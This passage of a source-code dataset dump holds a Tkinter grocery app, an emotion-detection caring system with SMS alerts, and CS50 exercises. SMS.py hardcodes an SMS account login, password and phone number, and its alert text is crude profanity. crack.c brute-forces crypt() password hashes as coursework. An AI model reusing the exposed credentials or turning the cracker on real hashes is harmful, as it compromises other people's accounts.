\" (\" + str(price[2]) + \" rs/item)\", variable=v, value=2,\n font=('Helvetica', 10, 'bold'))\nr_btn2.grid(row=3, column=1, sticky=\"w\")\nr_btn2.configure(bg=\"grey\", fg='purple')\n\nr_btn3 = Radiobutton(root, text=items[3] + \" (\" + str(price[3]) + \" rs/item)\", variable=v, value=3,\n font=('Helvetica', 10, 'bold'))\nr_btn3.grid(row=4, column=1, sticky=\"w\")\nr_btn3.configure(bg=\"grey\", fg='pink')\n\nr_btn4 = Radiobutton(root, text=items[4] + \" (\" + str(price[4]) + \" rs/item)\", variable=v, value=4,\n font=('Helvetica', 10, 'bold'))\nr_btn4.grid(row=5, column=1, sticky=\"w\")\nr_btn4.configure(bg=\"grey\", fg='orange')\n\nr_btn5 = Radiobutton(root, text=items[5] + \" (\" + str(price[5]) + \" rs/item)\", variable=v, value=5,\n font=('Helvetica', 10, 'bold'))\nr_btn5.grid(row=6, column=1, sticky=\"w\")\nr_btn5.configure(bg=\"grey\", fg='violet')\n\nlabel1 = Label(root, text=\"Price of selected items: \", font=('Helvetica', 10, 'bold'), fg='gold2')\nlabel1.grid(row=10, column=0)\nlabel1.configure(bg=\"grey\")\n\nlabel2 = Label(root, textvariable=res, font=('Helvetica', 10, 'bold'), fg='cyan')\nlabel2.grid(row=10, column=1, sticky='w')\nlabel2.configure(bg=\"grey\")\n\nlabel3 = Label(root, text=\"Enter Number of items->:\", font=('Helvetica', 10, 'bold'))\nlabel3.grid(row=8, column=0)\nlabel3.configure(bg=\"grey\")\n\nentry = Entry(root, width=25)\nentry.grid(row=8, column=1, sticky='e')\n\nbtn = Button(root, text=\"ADD ITEMS\", width=15, command=lambda: cal_price(), fg='goldenrod4', bg='spring green')\nbtn.configure(font=('Helvetica', 10, 'bold'))\nbtn.grid(row=9, rowspan=2, column=1, sticky='e')\n\nbtn2 = Button(root, text=\"CLEAR\", width=10, command=lambda: clr(), fg='ivory2', bg='purple3')\nbtn2.configure(font=('Helvetica', 10, 'bold'))\nbtn2.grid(row=9, column=0)\n\nlabel4 = Label(root, text=\"Total Cost:\", font=('Helvetica', 10, 'bold'))\nlabel4.grid(row=11, column=0)\nlabel4.configure(bg=\"grey\", fg='maroon')\n\nlabel5 = Label(root, text=a, font=('Helvetica', 10, 'bold'), fg='cyan')\nlabel5.grid(row=11, column=1, sticky='w')\nlabel5.configure(bg=\"grey\")\n\nlabel6 = Label(root, text=\"Items in your cart:\", font=('Helvetica', 10, 'bold'), bg=\"grey\")\nlabel6.grid(row=12, columnspan=2, sticky='w')\n\nlists = Label(root, text=loop(items), font=('Helvetica', 10, 'bold'), bg='grey', fg='darkblue')\nlists.grid(row=13, column=0)\n\namount = Label(root, text='0\\n0\\n0\\n0\\n0\\n0', font=('Helvetica', 10, 'bold'), bg='grey', fg='cyan')\namount.grid(row=13, column=1, sticky='nw')\n\nimg = Image.open('fruits.png')\nimg = img.resize((100, 120))\n\nph_img = ImageTk.PhotoImage(img)\n\npic_lab = Label(root, image=ph_img)\npic_lab.grid(row=1, rowspan=6, column=0)\n\nnames = Label(root, text='Project by-\\nSuraj Malik', bg='grey', fg='yellow2',\n font=('Helvetica', 8, 'bold'))\nnames.grid(row=13, column=1, sticky='e')\n\nroot.mainloop()\n" }, { "alpha_fraction": 0.79536372423172, "alphanum_fraction": 0.79536372423172, "avg_line_length": 155.5, "blob_id": "280f594ea8a0de6a32da06a076c185c5f5139ac8", "content_id": "7942a3c2fe8e78bf22a32318b47e6c0342a67017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1257, "license_type": "no_license", "max_line_length": 523, "num_lines": 8, "path": "/README.md", "repo_name": "dev98s/Grocery_Shopping_Helper", "src_encoding": "UTF-8", "text": "# Grocery Shopping Helper (Python)\n\n\nThis grocery shopping helper project is written in Python. The project file contains a python script. This is a GUI based application which is very easy to understand and use. It uses \"Tkinter\" module for the GUI. \n\nTalking about the application, the user just has to select among the grocery items, enter the quantity and click on the “Add Items” button to view the price of all the items we have added in our cart.Apart from seeing the price, we are able to to see the number of each grocery items that we have added in our cart individually.When we select the number of items we want for a particular grocery and add it in our cart, we are able to see the cost of that specific group of grocery item('s) separately from our total cost. \n\n The design is user friendly and self explainatery that the user won’t find any problem while using it.This can easily be implemented by any shopping mall to add the products they are selling with their cost.The user will be able to easily get a good idea of what he/she is shopping along with the cost of each group of items and the total cost.This gives the shopper and employee proper information of all the details regarding everything along with easing their workload." } ]
2
AndyHUI711/QS-Top5
https://github.com/AndyHUI711/QS-Top5
a2866af690d5aa6309a3d493ef1cc965ee72933e
9c2facf8a69dd399ddfa00fd5122c1a854050e72
83a390d5cb825a96940038ab42745a2edc2c3bda
refs/heads/master
2023-04-08T21:44:44.141941
2021-04-16T12:53:19
2021-04-16T12:53:19
358,273,142
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.53447026014328, "alphanum_fraction": 0.5823657512664795, "avg_line_length": 35.746665954589844, "blob_id": "b94159f2738031394bef314f598025c78b947fb3", "content_id": "8df82e29770bc50a3ed8b77d36bc59f215dd08e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2764, "license_type": "no_license", "max_line_length": 106, "num_lines": 75, "path": "/ck_data_process.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "import os\nimport dlib # face recognition\nimport cv2 # image processing\n\n\ndef get_file_path(root_path, file_list, dir_list):\n # Gets all the file names and directory names in this directory\n dir_or_files = os.listdir(root_path)\n for dir_file in dir_or_files:\n # Gets the path to a directory or file\n dir_file_path = os.path.join(root_path, dir_file)\n # Determine whether the path is a file or a path\n if os.path.isdir(dir_file_path):\n dir_list.append(dir_file_path)\n # Recursively get the path to all files and directories\n get_file_path(dir_file_path, file_list, dir_list)\n else:\n file_list.append(dir_file_path)\n\n\ndef distance(p1, p2):\n dis = pow((shape.part(p1).x - shape.part(p2).x), 2) + pow((shape.part(p1).y - shape.part(p2).y), 2)\n return dis\n\n\ndef distance2(x1, y1, x2, y2):\n dis = pow(x1 - x2, 2) + pow(y1 - y2, 2)\n return dis\n\n\n# Store all file paths\nfile_list = []\n# Store all file paths\ndir_list = []\nnameFolder = 'surprise'\nroot_path = r\"E:/ck/\" + nameFolder + \"/\"\nget_file_path(root_path, file_list, dir_list)\n\nf = open(root_path + \"/../\" + nameFolder + \"data.csv\", \"w\", encoding=\"utf-8\")\nf.write(\"D1,D2,D3,D4,D5,D6,Expression\\n\")\nf.close()\n\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\ndetector = dlib.get_frontal_face_detector()\n\nfor filename in file_list:\n print(filename)\n im_rd = cv2.imread(filename)\n cv2.imshow('aa', im_rd)\n cv2.waitKey(1)\n try:\n img_gray = cv2.cvtColor(im_rd, cv2.COLOR_RGB2GRAY)\n img_gray = cv2.GaussianBlur(img_gray, (3, 3), 0)\n except:\n img_gray = im_rd\n\n rect = dlib.rectangle(0, 0, im_rd.shape[0], im_rd.shape[1]) # startX, startY, endX, endY\n shape = predictor(img_gray, rect)\n D1 = distance(20, 25)\n D2 = distance2((shape.part(20).x + shape.part(25).x) / 2, (shape.part(20).y + shape.part(25).y) / 2,\n (shape.part(42).x + shape.part(47).x) / 2, (shape.part(42).y + shape.part(47).y) / 2)\n D3 = distance2((shape.part(38).x + shape.part(45).x) / 2, (shape.part(38).y + shape.part(45).y) / 2,\n (shape.part(42).x + shape.part(47).x) / 2, (shape.part(42).y + shape.part(47).y) / 2)\n D4 = distance(52, 58)\n D5 = distance(49, 55)\n D6 = distance(52, 58)\n # D6 = distance2((shape.part(49).x + shape.part(55).x) / 2, (shape.part(49).y + shape.part(55).y) / 2,\n # shape.part(52).x, shape.part(52).y)\n print(D1)\n # 写入文件\n f = open(root_path + \"/../\" + nameFolder + \"data.csv\", \"a\", encoding=\"utf-8\")\n f.write(\n str(D1) + ',' + str(D2) + ',' + str(D3) + ',' + str(D4) + ',' + str(D5) + ',' + str(\n D6) + ',' + nameFolder + '\\n')\n f.close()\n" }, { "alpha_fraction": 0.5360623598098755, "alphanum_fraction": 0.5711501240730286, "avg_line_length": 25.28205108642578, "blob_id": "5a534780cff263cf9708e7ac66547e6d131a81e3", "content_id": "f91d4dace06c2d0f8f1d3f7470f1bbc05da0539d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1186, "license_type": "no_license", "max_line_length": 87, "num_lines": 39, "path": "/SMS.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "# coding=utf-8\n#only for Python 3\nimport urllib\nimport urllib.request\nimport hashlib\n\ndef md5(str):\n import hashlib\n m = hashlib.md5()\n m.update(str.encode(\"utf8\"))\n return m.hexdigest()\ndef SMS_send(name, elder_name):\n statusStr = {\n '0': '短信发送成功',\n '-1': '参数不全',\n '-2': '服务器空间不支持,请确认支持curl或者fsocket,联系您的空间商解决或者更换空间',\n '30': '密码错误',\n '40': '账号不存在',\n '41': '余额不足',\n '42': '账户已过期',\n '43': 'IP地址限制',\n '50': '内容含有敏感词'\n }\n\n smsapi = \"http://api.smsbao.com/\"\n # message platfrom ID\n user = 'ray009'\n # message platfrom password\n password = md5('7373494259a')\n # message content\n content = '我草你码' + name+ '哈哈哈'+ elder_name +'你妈的头'\n # phone number\n phone = '18146600669'\n\n data = urllib.parse.urlencode({'u': user, 'p': password, 'm': phone, 'c': content})\n send_url = smsapi + 'sms?' + data\n response = urllib.request.urlopen(send_url)\n the_page = response.read().decode('utf-8')\n print (statusStr[the_page])\n\n" }, { "alpha_fraction": 0.4607061445713043, "alphanum_fraction": 0.47722095251083374, "avg_line_length": 24.823530197143555, "blob_id": "f5e5606876476a4870ccad6f7db44faae7dd2377", "content_id": "f732484117405ca18d639b4106fafb2b4b84d955", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1876, "license_type": "no_license", "max_line_length": 105, "num_lines": 68, "path": "/Serial.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "import serial\nimport time\n\n\ndef find_com(): # autonomously search for the serial port and return\n ser = serial.Serial()\n i = 1\n se = 0\n while i < 1024:\n name = 'COM' + str(i)\n ser.open\n try:\n ser.isOpen\n ser = serial.Serial(name, 9600, timeout=0.1)\n print('————————————————————————————————\\r\\n尝试串口:' + name)\n tic = time.perf_counter()\n while 1:\n ser.write('A'.encode('gbk'))\n rev = ser.readline()\n # print(rev)\n if rev == b'B\\r\\n':\n se = name\n break\n if time.perf_counter() - tic >= 1:\n break\n except serial.serialutil.SerialException:\n pass\n if se != 0:\n break\n i += 1\n return se\n\n\ndef serialCMD(ser_local, command):\n if command == 'PAUSE':\n ser_local.write(b'X')\n if command == 'SOFT_MUSIC':\n ser_local.write(b'S')\n if command == 'PASSION_MUSIC':\n ser_local.write(b'P')\n\n\ndef initSerial(ser_local):\n while 1: # 初始化\n time.sleep(2)\n print('尝试连接下位机')\n ser_local.write(b'K')\n rev2 = ser_local.readline()\n print(rev2)\n if rev2 == b'B\\r\\n':\n break\n print(\"下位机连接正常---开始工作\")\n\n\nif __name__ == \"__main__\": # current main function\n ser = serial.Serial(find_com(), 9600, timeout=0.1) # Open the serial port that the search can return\n tic = time.perf_counter()\n while 1: # initialization\n time.sleep(2)\n ser.write(b'K')\n print(\"发送\")\n rev = ser.readline()\n # print(rev)\n if rev == b'B\\r\\n':\n break\n\n serialCMD('PASSION_MUSIC')\n print(ser)\n" }, { "alpha_fraction": 0.5163652300834656, "alphanum_fraction": 0.5292850732803345, "avg_line_length": 37.70000076293945, "blob_id": "03222c2e2a8403ef75768568d828ab85c92ee855", "content_id": "e08e5ac4983c7a69f6ed3b0ac5e8aa5cc90601d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2358, "license_type": "no_license", "max_line_length": 113, "num_lines": 60, "path": "/main_nonHW.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "import time\nimport voice_record\nimport datetime\nfrom asr_json import *\nfrom SMS import SMS_send\nfrom face_emotion import face_emotion\nfrom Serial import *\n\ncsv_record = open('record.csv', 'a')\n\nif __name__ == \"__main__\": # main function\n # serialStart()\n my_face = face_emotion() # instantiation\n sad_count = 0\n tic = time.perf_counter() # initialization\n el_name = '郝小子'\n sent_flag = 'False'\n\n # ser = serial.Serial(find_com(), 9600, timeout=0.1) # Open the serial port\n # initSerial(ser)\n # serialCMD(ser, 'PASSION_MUSIC') # play PASSION_MUSIC file\n while 1:\n emotion = my_face.learning_face(0, \"test_data/9.mp4\") # 0 camera mode,1 video mode,2 picture mode\n print(emotion)\n voice_record.get_audio()\n word, NLP_result = voice_API()\n print('NLP_result[0] = ' + str(NLP_result))\n now_time = datetime.datetime.now()\n date_str = datetime.datetime.now().strftime('%Y-%m-%d')\n time_str = datetime.datetime.now().strftime('%H:%M')\n # 记录\n print('sad_count = ' + str(sad_count))\n if NLP_result == '0':\n word = 'None'\n sentiment = 'None'\n confidence = 'None'\n negative_prob = 'None'\n else:\n sentiment = NLP_result[0]['sentiment']\n confidence = NLP_result[0]['confidence']\n negative_prob = NLP_result[0]['negative_prob']\n if emotion == 'Sad':\n tic = time.perf_counter()\n sad_count += 1\n if time.perf_counter() - tic >= 10 * 60: # if there's no sad emotion after 10 mins, set sad_count to 0\n sad_count = 0\n if sad_count >= 2: # send message and play the music when detecting sad emotions\n # serialCMD(ser, 'SOFT_MUSIC') # play soft_music\n sent_flag = 'Ture'\n sad_count = 0\n print('发送中')\n SMS_send('郝', '郝小子')\n print('发送成功')\n csv_record = open('record.csv', 'a')\n csv_record.write('\\n' +\n date_str + ', ' + time_str + ', ' + el_name + ', ' + emotion + ', ' + word + ', ' + str(\n sentiment) + ', ' \\\n + str(confidence) + ', ' + str(negative_prob) + ', ' + sent_flag)\n csv_record.close()\n sent_flag = 'False'\n" }, { "alpha_fraction": 0.4085722267627716, "alphanum_fraction": 0.44739770889282227, "avg_line_length": 45.361289978027344, "blob_id": "c8e71be48d0032cf125a1df58ebef331fec4759a", "content_id": "501f5bc2a0a4c672a3ba9b9271b8eb5103a0d7c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7238, "license_type": "no_license", "max_line_length": 117, "num_lines": 155, "path": "/emotion.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "import dlib # face recognition\nimport cv2 # image processing\n\n\nclass face_emotion():\n\n def __init__(self):\n # Use the feature extractor get_frontal_face_detector\n self.detector = dlib.get_frontal_face_detector()\n # dlib's 68-point model'\n self.predictor = dlib.shape_predictor(\"predictor/shape_predictor_68_face_landmarks.dat\")\n # Create CV2 camera object, it will automatically switch to the external camera\n self.cap = cv2.VideoCapture(0)\n self.cap = cv2.VideoCapture(\"2.mp4\") # read video\n # Set the video parameter, propId set the video parameter, value set the parameter value\n self.cap.set(3, 480)\n\n def distance2(self, x1, y1, x2, y2): # Calculate the square of the Euclidean distance between two points\n dis = pow(x1 - x2, 2) + pow(y1 - y2, 2)\n return dis\n\n def learning_face(self, mode, fileName):\n def distance(p1, p2): # Calculate the square of the Euclidean distance between two points\n dis = pow((shape.part(p1).x - shape.part(p2).x), 2) + pow((shape.part(p1).y - shape.part(p2).y), 2)\n return dis\n\n if mode == 0: # mode selection\n self.cap = cv2.VideoCapture(0) # open camera\n else:\n self.cap = cv2.VideoCapture(fileName) # open video\n # parameter initialization\n areaLastFace = 1\n count_nan = 0\n count_warning = 0\n count_break = 0\n status_code = 0 # 0Natural 1Sad\n\n while (self.cap.isOpened()):\n flag, im_rd = self.cap.read()\n k = cv2.waitKey(1)\n # Take gray scale to adapt\n try:\n try:\n img_gray = cv2.cvtColor(im_rd, cv2.COLOR_RGB2GRAY)\n img_gray = cv2.GaussianBlur(img_gray, (3, 3), 0)\n except:\n img_gray = im_rd\n img_gray = cv2.GaussianBlur(img_gray, (3, 3), 0) # length and width of the Gaussian kernel\n except:\n break\n # scanning human face\n faces = self.detector(img_gray, 0)\n # 字体\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n if (len(faces) != 0):\n # checking 68-point face\n areaMaxFace = 0\n for i in range(len(faces)): # Choose the largest face\n if faces[i].area() > areaMaxFace:\n areaMaxFace = faces[i].area()\n indexMax = i\n print(\"第\" + str(i) + \"个脸面积:\" + str(faces[i].area()))\n print(\"最大脸面积:\" + str(faces[indexMax].area()) + \"\\n\") # Print out the largest face\n print(faces[indexMax])\n for i in range(len(faces)):\n for k, d in enumerate(faces): # enumerate\n # Box all faces\n # Use a red rectangle to frame the face\n cv2.rectangle(im_rd, (d.left(), d.top()), (d.right(), d.bottom()), (0, 0, 255))\n # 计算人脸热别框边长\n self.face_width = d.right() - d.left()\n if indexMax != k: # deal with only the largest faces\n continue\n if (faces[indexMax].area() / areaLastFace) < 0.3: # enter the wait status\n count_nan += 1\n if count_nan >= 10:\n areaLastFace = faces[indexMax].area() # Accept the latest maximum face area\n count_nan = 0\n continue\n else:\n areaLastFace = faces[indexMax].area()\n # Use the predictor to get the coordinates of 68 points of data\n shape = self.predictor(img_gray, d)\n # Circles show each feature point\n for i in range(68):\n cv2.circle(im_rd, (shape.part(i).x, shape.part(i).y), 2, (0, 255, 0), -1, 8)\n # calculate D2、D3、D4、D5\n D2 = self.distance2((shape.part(20).x + shape.part(25).x) / 2,\n (shape.part(20).y + shape.part(25).y) / 2,\n (shape.part(42).x + shape.part(47).x) / 2,\n (shape.part(42).y + shape.part(47).y) / 2) / faces[k].area()\n D3 = (distance(45, 47) + distance(44, 48) + distance(39, 41) + distance(38, 42)) / 4 / faces[\n k].area()\n D4 = distance(52, 58) / faces[k].area()\n D5 = distance(49, 55) / faces[k].area()\n\n print(D2, D3, D4, D5)\n\n th4 = 0.038845\n th5 = 0.059244\n th2 = 0.017198\n th3 = 0.12\n th5_2 = 0.0334201\n # discussing thresholds\n if D4 < th4 and D5 < th5 and D2 > th2 and D5 > th5_2 or D3 < th3:\n status_code = 1 # Sad\n cv2.putText(im_rd, \"Sad\", (d.left(), d.bottom() + 20), cv2.FONT_HERSHEY_SIMPLEX, 0.8,\n (0, 0, 255), 2, 4)\n else:\n status_code = 0 # Happy\n cv2.putText(im_rd, \"Natural\", (d.left(), d.bottom() + 20), cv2.FONT_HERSHEY_SIMPLEX, 0.8,\n (0, 0, 255), 2, 4)\n\n # face amount\n cv2.putText(im_rd, \"Faces: \" + str(len(faces)), (20, 50), font, 1, (0, 0, 255), 1, cv2.LINE_AA)\n else:\n\n cv2.putText(im_rd, \"No Face\", (20, 50), font, 1, (0, 0, 255), 1, cv2.LINE_AA)\n status_code = 0\n # window display\n cv2.imshow('Caring System', im_rd)\n k = cv2.waitKey(10)\n while 1:\n if count_warning != 0:\n count_break += 1\n if count_break >= 10:\n count_warning = 0\n count_break = 0\n if status_code == 0: # Natural\n break\n elif status_code == 1: # Sad\n count_warning += 1\n # print(\"angry\")\n if count_warning <= 5:\n break\n # if SAD mood was found for 5 consecutive times, a record was added\n\n count_warning += 10\n kk = cv2.waitKey(10)\n if 1: # exit the recording mode automatically\n count_warning = 0\n break\n # If in image mode, pause here to avoid errors\n if mode == 2:\n input()\n # Release the camera/video source\n self.cap.release()\n # delete the window\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\": # main function\n my_face = face_emotion() # # instantiation\n my_face.learning_face(0, \"test_data/6.mp4\")\n" }, { "alpha_fraction": 0.5117270946502686, "alphanum_fraction": 0.5287846326828003, "avg_line_length": 29.60869598388672, "blob_id": "c1dd9d37b30b5cace76847e38c7b204dfec6d236", "content_id": "73e8616fdc29918b421f47468b4cf0e84558e327", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1483, "license_type": "no_license", "max_line_length": 86, "num_lines": 46, "path": "/voice_record.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "import pyaudio\nimport wave\nimport os\nimport time\n\n\ndef get_audio(): # 阻塞形式\n # aa = str(input(\"是否开始录音? (是/否)\"))\n # if aa == str(\"是\") :\n input_filename = \"voice.wav\" #audio input through microphone\n\n input_filepath = 'C:\\\\Users\\\\dell\\\\Desktop\\\\【改1】python代码\\\\' # input file path\n filepath = input_filepath + input_filename\n CHUNK = 256\n FORMAT = pyaudio.paInt16 # 16 bit sampling depth\n CHANNELS = 1 # Track number 1\n RATE = 16000 # sampling rate\n RECORD_SECONDS = 15 # record time\n WAVE_OUTPUT_FILENAME = filepath\n p = pyaudio.PyAudio()\n\n stream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\n print(\"*\"*10, \"开始录音:请在15秒内输入语音\")\n frames = []\n for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n frames.append(data)\n print(\"*\"*10, \"录音结束\\n\")\n\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n wf.writeframes(b''.join(frames))\n wf.close()\n\n\n# get_audio(in_path)" }, { "alpha_fraction": 0.4883720874786377, "alphanum_fraction": 0.5813953280448914, "avg_line_length": 20.5, "blob_id": "7a27c295db60bd59f16f0fb2641b28ee7d9ae7e0", "content_id": "c01dc55120315f0f65657dc3a72f2f55bc4ad71f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43, "license_type": "no_license", "max_line_length": 22, "num_lines": 2, "path": "/venv/Lib/site-packages/dlib/__init__.py", "repo_name": "AndyHUI711/QS-Top5", "src_encoding": "UTF-8", "text": "from .dlib import *\n__version__ = \"19.4.0\"\n" } ]
7
AadeshSalecha/Intro-to-Computer-Science-CS50-
https://github.com/AadeshSalecha/Intro-to-Computer-Science-CS50-
528943192aeded6ebb9b6d7014a15f28762bc3a3
7be08db4abf292a3b8fe29f69dd5d50f436b012d
f96a3b5ae6fdd1ac7d74ee1789fcba68808c1b3f
refs/heads/master
2021-05-02T09:50:12.691454
2018-06-21T15:18:02
2018-06-21T15:18:02
52,001,020
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47735440731048584, "alphanum_fraction": 0.5097052454948425, "avg_line_length": 30.613636016845703, "blob_id": "b037caaaf279ed9a3950f567a05374b217cf0dbb", "content_id": "0e6310b55c909df20801ee8d8ca8379f5b91d38c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1391, "license_type": "no_license", "max_line_length": 114, "num_lines": 44, "path": "/pset6/similarities/more/helpers.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "from enum import Enum\n\n\nclass Operation(Enum):\n \"\"\"Operations\"\"\"\n\n DELETED = 1\n INSERTED = 2\n SUBSTITUTED = 3\n\n def __str__(self):\n return str(self.name.lower())\n\n\ndef distances(a, b):\n \"\"\"Calculate edit distance from a to b\"\"\"\n score = [[(0, Operation.DELETED) for x in range(len(b) + 1)] for y in range(len(a) + 1)]\n\n score[0][0] = (0, Operation.DELETED)\n for i in range(1, len(a) + 1):\n score[i][0] = (score[i - 1][0][0] + 1, Operation.DELETED)\n\n score[0][0] = (0, Operation.DELETED)\n for i in range(1, len(b) + 1):\n score[0][i] = (score[0][i - 1][0] + 1, Operation.DELETED)\n\n for i in range(1, len(a) + 1):\n for j in range(1, len(b) + 1):\n match = not(a[i - 1] == b[j - 1])\n match, insert, delete = score[i - 1][j - 1][0] + match, score[i - 1][j][0] + 1, score[i][j - 1][0] + 1\n if(min(match, delete, insert) == match):\n score[i][j] = (match, Operation.SUBSTITUTED)\n if(min(match, delete, insert) == delete):\n score[i][j] = (delete, Operation.DELETED)\n if(min(match, delete, insert) == insert):\n score[i][j] = (insert, Operation.INSERTED)\n\n for i in range(len(a) + 1):\n for j in range(len(b) + 1):\n print(score[i][j][0], end=' ')\n print()\n\n # print(score[len(a)][len(b)][0])\n return score\n" }, { "alpha_fraction": 0.46474358439445496, "alphanum_fraction": 0.4871794879436493, "avg_line_length": 18.5, "blob_id": "c3c32874bd49698cbd55101e2ee305d7d16664c4", "content_id": "7c1915c6d8a2fea8739740fe4ead4b7eb1e3c77e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 312, "license_type": "no_license", "max_line_length": 32, "num_lines": 16, "path": "/pset6/mario/more/mario.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "from cs50 import get_int\n\nn = get_int(\"Height: \")\nwhile (n > 23 or n < 0):\n n = get_int(\"Height: \")\n\nfor i in range(1, n + 1):\n # Prints First triangle\n print(' ' * (n - i), end='')\n print('#' * i, end='')\n\n print(' ', end='')\n\n # Prints second triangle\n print('#' * i, end='')\n print()\n" }, { "alpha_fraction": 0.4726867377758026, "alphanum_fraction": 0.49944257736206055, "avg_line_length": 16.60784339904785, "blob_id": "3e6e3f761d6616fe47f910021ebe99fece173827", "content_id": "45bb0f207adf9128b8a1d440840d359ac2c73833", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 897, "license_type": "no_license", "max_line_length": 55, "num_lines": 51, "path": "/pset6/similarities/less/helpers.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "from nltk.tokenize import sent_tokenize\n\n\ndef lines(a, b):\n \"\"\"Return lines in both a and b\"\"\"\n a1 = set(a.split('\\n'))\n b1 = set(b.split('\\n'))\n ans = []\n\n for line in a1:\n if line in b1:\n ans.append(line)\n\n return ans\n\n\ndef sentences(a, b):\n \"\"\"Return sentences in both a and b\"\"\"\n a1 = set(sent_tokenize(a))\n b1 = set(sent_tokenize(b))\n ans = []\n\n for line in a1:\n if line in b1:\n ans.append(line)\n\n return ans\n\n\ndef substrings(a, b, n):\n \"\"\"Return substrings of length n in both a and b\"\"\"\n a1 = []\n for i in range(0, len(a) - n + 1):\n a1.append(a[i:i + n])\n a1 = set(a1)\n\n b1 = []\n for i in range(0, len(b) - n + 1):\n b1.append(b[i:i + n])\n b1 = set(b1)\n\n ans = []\n\n print(a1)\n print(b1)\n\n for line in a1:\n if line in b1:\n ans.append(line)\n\n return ans" }, { "alpha_fraction": 0.38576778769493103, "alphanum_fraction": 0.40749064087867737, "avg_line_length": 24.20754623413086, "blob_id": "f12e750c2ec61d08f307acecfb285dcb023d4380", "content_id": "d9df560f8f0a8fbf081bc71e9185a4af800435a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1335, "license_type": "no_license", "max_line_length": 83, "num_lines": 53, "path": "/pset2/crack/crack.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#define _XOPEN_SOURCE\n#include <unistd.h>\n#include <stdio.h>\n#include <cs50.h>\n#include <string.h>\n#include <math.h>\n\nint main(int argc, string argv[])\n{\n if(argc != 2)\n {\n printf(\"Usage: ./crack hashofPassword\\n\");\n return -1;\n }\n\n string password = argv[1];\n\n string allCharacter = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\0\";\n char tmp[6], tmpSalt[3];\n\n int all = strlen(allCharacter);\n\n tmpSalt[0] = password[0];\n tmpSalt[1] = password[1];\n tmpSalt[2] = '\\0';\n\n //printf(\"%s\\n\", crypt(\"ROFL\", \"50\"));\n for(int i = 0; i < all - 1; i++)\n {\n tmp[0] = allCharacter[i];\n for(int j = 0; j < all; j++)\n {\n tmp[1] = allCharacter[j];\n for(int k = 0; k < all; k++)\n {\n tmp[2] = allCharacter[k];\n for(int l = 0; l < all; l++)\n {\n tmp[3] = allCharacter[l];\n for(int m = 0; m < all; m++)\n {\n tmp[4] = allCharacter[m];\n if(strcmp(crypt(tmp, tmpSalt), password) == 0)\n {\n printf(\"%s\\n\", tmp);\n return 0;\n }\n }\n }\n }\n }\n }\n}" }, { "alpha_fraction": 0.4476190507411957, "alphanum_fraction": 0.488095223903656, "avg_line_length": 13.517241477966309, "blob_id": "9019e45d78a6ec2c8541e3a6e1c96e74b97fd28a", "content_id": "b1fc4370f054cb4d4c24c2e0ae4ccf12e283d9e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 420, "license_type": "no_license", "max_line_length": 42, "num_lines": 29, "path": "/pset1/cash/cash.c", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <cs50.h>\n#include <math.h>\n\nint main(void)\n{\n float in;\n do\n {\n in = get_float(\"Change: \");\n }\n while (in < 0);\n\n // Convert to cents\n int coins = 0, change = round(in*100);\n\n coins += (change / 25);\n change %= 25;\n\n coins += (change / 10);\n change %= 10;\n\n coins += (change / 5);\n change %= 5;\n\n coins += change;\n\n printf(\"%i\\n\", coins);\n}" }, { "alpha_fraction": 0.5662650465965271, "alphanum_fraction": 0.5783132314682007, "avg_line_length": 24.868852615356445, "blob_id": "76129079b8862cc1138baa96186cda988a0a73a2", "content_id": "cab88695761e3ccab57a9910cabcc06811f8a8c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1577, "license_type": "no_license", "max_line_length": 57, "num_lines": 61, "path": "/pset6/crack/crack.py", "repo_name": "AadeshSalecha/Intro-to-Computer-Science-CS50-", "src_encoding": "UTF-8", "text": "import crypt\nimport sys\nimport string\nfrom itertools import permutations\n\n\ndef main():\n # Ensure that there are enough command-line arguments\n if(len(sys.argv) != 2):\n 